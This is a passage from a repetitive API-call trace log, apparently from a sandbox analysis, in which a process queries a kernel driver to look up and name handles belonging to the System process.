(Object=0xfffffa800342a5e0) returned 0x2 [0135.131] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.131] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.131] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.131] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.131] PsAcquireProcessExitSynchronization () returned 0x0 [0135.131] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.131] ObReferenceObjectByHandle (in: Handle=0xffffffff8000062c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f17700, HandleInformation=0x0) returned 0x0 [0135.131] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.131] PsReleaseProcessExitSynchronization () returned 0x2 [0135.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.132] ObQueryNameString (in: Object=0xfffffa8001f17700, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.132] ObfDereferenceObject (Object=0xfffffa8001f17700) returned 0x2 [0135.132] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.132] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.132] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.132] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.132] PsAcquireProcessExitSynchronization () returned 0x0 [0135.132] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.132] ObReferenceObjectByHandle (in: Handle=0xffffffff80000630, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002149310, HandleInformation=0x0) returned 0x0 [0135.132] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.132] PsReleaseProcessExitSynchronization () returned 0x2 [0135.132] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.132] ObQueryNameString (in: Object=0xfffffa8002149310, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.132] ObfDereferenceObject (Object=0xfffffa8002149310) returned 0x2 [0135.132] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.132] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.132] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.132] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.132] PsAcquireProcessExitSynchronization () returned 0x0 [0135.132] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.132] ObReferenceObjectByHandle (in: Handle=0xffffffff80000634, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800edee1f0, HandleInformation=0x0) returned 0x0 [0135.132] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.132] PsReleaseProcessExitSynchronization () returned 0x2 [0135.132] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.132] ObQueryNameString (in: Object=0xfffffa800edee1f0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.132] ObfDereferenceObject (Object=0xfffffa800edee1f0) returned 0x2 [0135.132] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.132] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.132] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.133] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.133] PsAcquireProcessExitSynchronization () returned 0x0 [0135.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.133] ObReferenceObjectByHandle (in: Handle=0xffffffff80000638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034ff3a0, HandleInformation=0x0) returned 0x0 [0135.133] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.133] PsReleaseProcessExitSynchronization () returned 0x2 [0135.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.133] ObQueryNameString (in: Object=0xfffffa80034ff3a0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.133] ObfDereferenceObject (Object=0xfffffa80034ff3a0) returned 0x2 [0135.133] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.133] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.133] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.133] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.133] PsAcquireProcessExitSynchronization () returned 0x0 [0135.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.133] ObReferenceObjectByHandle (in: Handle=0xffffffff80000640, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214a3c0, HandleInformation=0x0) returned 0x0 [0135.133] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.133] PsReleaseProcessExitSynchronization () returned 0x2 [0135.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.133] ObQueryNameString (in: Object=0xfffffa800214a3c0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.133] ObfDereferenceObject (Object=0xfffffa800214a3c0) returned 0x2 [0135.133] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.133] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.133] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.133] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.133] PsAcquireProcessExitSynchronization () returned 0x0 [0135.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.133] ObReferenceObjectByHandle (in: Handle=0xffffffff80000644, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002149bd0, HandleInformation=0x0) returned 0x0 [0135.133] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.133] PsReleaseProcessExitSynchronization () returned 0x2 [0135.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.133] ObQueryNameString (in: Object=0xfffffa8002149bd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.133] ObfDereferenceObject (Object=0xfffffa8002149bd0) returned 0x2 [0135.134] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.134] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.134] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.134] PsAcquireProcessExitSynchronization () returned 0x0 [0135.134] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.134] ObReferenceObjectByHandle (in: Handle=0xffffffff80000648, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034279a0, HandleInformation=0x0) returned 0x0 [0135.134] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.134] PsReleaseProcessExitSynchronization () returned 0x2 [0135.134] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.134] ObQueryNameString (in: Object=0xfffffa80034279a0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.134] ObfDereferenceObject (Object=0xfffffa80034279a0) returned 0x2 [0135.134] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.134] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.134] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.134] PsAcquireProcessExitSynchronization () returned 0x0 [0135.134] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.134] ObReferenceObjectByHandle (in: Handle=0xffffffff80000650, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214b460, HandleInformation=0x0) returned 0x0 [0135.134] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.134] PsReleaseProcessExitSynchronization () returned 0x2 [0135.134] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.134] ObQueryNameString (in: Object=0xfffffa800214b460, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.134] ObfDereferenceObject (Object=0xfffffa800214b460) returned 0x2 [0135.134] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.134] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.134] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.134] PsAcquireProcessExitSynchronization () returned 0x0 [0135.134] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.134] ObReferenceObjectByHandle (in: Handle=0xffffffff80000658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002502050, HandleInformation=0x0) returned 0x0 [0135.135] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.135] PsReleaseProcessExitSynchronization () returned 0x2 [0135.135] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.135] ObQueryNameString (in: Object=0xfffffa8002502050, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.135] ObfDereferenceObject (Object=0xfffffa8002502050) returned 0x2 [0135.135] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.135] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.135] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.135] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.135] PsAcquireProcessExitSynchronization () returned 0x0 [0135.135] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.135] ObReferenceObjectByHandle (in: Handle=0xffffffff80000660, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214c4f0, HandleInformation=0x0) returned 0x0 [0135.135] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.135] PsReleaseProcessExitSynchronization () returned 0x2 [0135.135] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.135] ObQueryNameString (in: Object=0xfffffa800214c4f0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.135] ObfDereferenceObject (Object=0xfffffa800214c4f0) returned 0x2 [0135.135] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.135] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.135] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.135] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.135] PsAcquireProcessExitSynchronization () returned 0x0 [0135.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.136] ObReferenceObjectByHandle (in: Handle=0xffffffff8000066c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800289e960, HandleInformation=0x0) returned 0x0 [0135.136] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.136] PsReleaseProcessExitSynchronization () returned 0x2 [0135.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.136] ObQueryNameString (in: Object=0xfffffa800289e960, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.136] ObfDereferenceObject (Object=0xfffffa800289e960) returned 0x2 [0135.136] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.136] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.136] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.136] PsAcquireProcessExitSynchronization () returned 0x0 [0135.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.136] ObReferenceObjectByHandle (in: Handle=0xffffffff80000670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214e590, HandleInformation=0x0) returned 0x0 [0135.136] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.136] PsReleaseProcessExitSynchronization () returned 0x2 [0135.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.136] ObQueryNameString (in: Object=0xfffffa800214e590, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.136] ObfDereferenceObject (Object=0xfffffa800214e590) returned 0x2 [0135.136] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.136] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.136] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.136] PsAcquireProcessExitSynchronization () returned 0x0 [0135.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.136] ObReferenceObjectByHandle (in: Handle=0xffffffff80000678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800263abb0, HandleInformation=0x0) returned 0x0 [0135.136] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.136] PsReleaseProcessExitSynchronization () returned 0x2 [0135.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.136] ObQueryNameString (in: Object=0xfffffa800263abb0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.136] ObfDereferenceObject (Object=0xfffffa800263abb0) returned 0x2 [0135.136] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.137] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.137] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xce, lpOverlapped=0x0) returned 1 [0135.137] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.137] PsAcquireProcessExitSynchronization () returned 0x0 [0135.137] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.137] ObReferenceObjectByHandle (in: Handle=0xffffffff8000067c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80024048a0, HandleInformation=0x0) returned 0x0 [0135.137] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.137] PsReleaseProcessExitSynchronization () returned 0x2 [0135.137] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.137] ObQueryNameString (in: Object=0xfffffa80024048a0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.137] ObfDereferenceObject (Object=0xfffffa80024048a0) returned 0x2 [0135.137] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.137] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.137] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.137] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.137] PsAcquireProcessExitSynchronization () returned 0x0 [0135.137] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.137] ObReferenceObjectByHandle (in: Handle=0xffffffff80000680, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002152590, HandleInformation=0x0) returned 0x0 [0135.137] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.137] PsReleaseProcessExitSynchronization () returned 0x2 [0135.137] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.137] ObQueryNameString (in: Object=0xfffffa8002152590, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.137] ObfDereferenceObject (Object=0xfffffa8002152590) returned 0x2 [0135.137] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.137] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.137] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, 